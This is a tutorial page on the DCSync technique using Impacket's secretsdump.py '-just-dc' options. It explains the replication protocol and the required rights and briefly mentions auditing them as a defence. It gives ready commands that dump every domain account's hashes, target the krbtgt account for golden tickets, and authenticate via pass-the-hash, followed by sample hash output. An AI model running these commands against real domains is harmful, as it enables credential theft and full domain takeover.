secretsdump DCSync: dumping domain hashes with -just-dc

Most of this site is about the offline path — parsing a stolen NTDS.dit or SAM hive. DCSync is the online alternative: instead of copying the database, you ask a domain controller to hand you the hashes over the wire, using the same protocol DCs use to replicate with each other. Impacket's secretsdump.py implements it behind the -just-dc family of flags.

How DCSync works

Domain controllers keep in sync using the Directory Replication Service Remote Protocol (MS-DRSR, "DRSUAPI"). Its IDL_DRSGetNCChanges call returns directory changes — including the secret attributes that hold password hashes and Kerberos keys. DCSync simply impersonates a DC and issues that call for the accounts it wants. Nothing is written to disk on the target, and no code runs on the DC, which is what makes the technique quiet.

The rights you need

DCSync is not an exploit — it is an authorized replication operation, so it requires replication rights on the domain object:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All

Domain Admins, Enterprise Admins and default Administrators hold these, and so does any principal an attacker can grant them to. Auditing who holds these rights is a key defensive control.

The commands

# Every domain account: NTLM hashes + Kerberos keys
secretsdump.py -just-dc "$DOMAIN/$USER:$PASSWORD@$DC"

# NTLM hashes only (skip Kerberos keys — faster, smaller output)
secretsdump.py -just-dc-ntlm "$DOMAIN/$USER:$PASSWORD@$DC"

# A single account — e.g. the krbtgt, for a golden ticket
secretsdump.py -just-dc-user krbtgt "$DOMAIN/$USER:$PASSWORD@$DC"

# Add account status and password-set timestamps
secretsdump.py -just-dc -user-status -pwd-last-set "$DOMAIN/$USER:$PASSWORD@$DC"

The same authentication options as any remote run apply — swap the password for -hashes :$NTHASH to DCSync via pass-the-hash, or -k -no-pass for Kerberos.

What you get back

Output is the familiar pwdump format, plus a Kerberos block when keys are included:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a1f2c...:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5c7ee0b8f0ff...

The full field-by-field breakdown is in the secretsdump output format guide, and the broader flag set is in the cheat sheet.

Offline vs DCSync

If you already hold an exported NTDS.dit and SYSTEM hive, you do not need DCSync at all — parse them offline, in your browser, with secretsdump.com.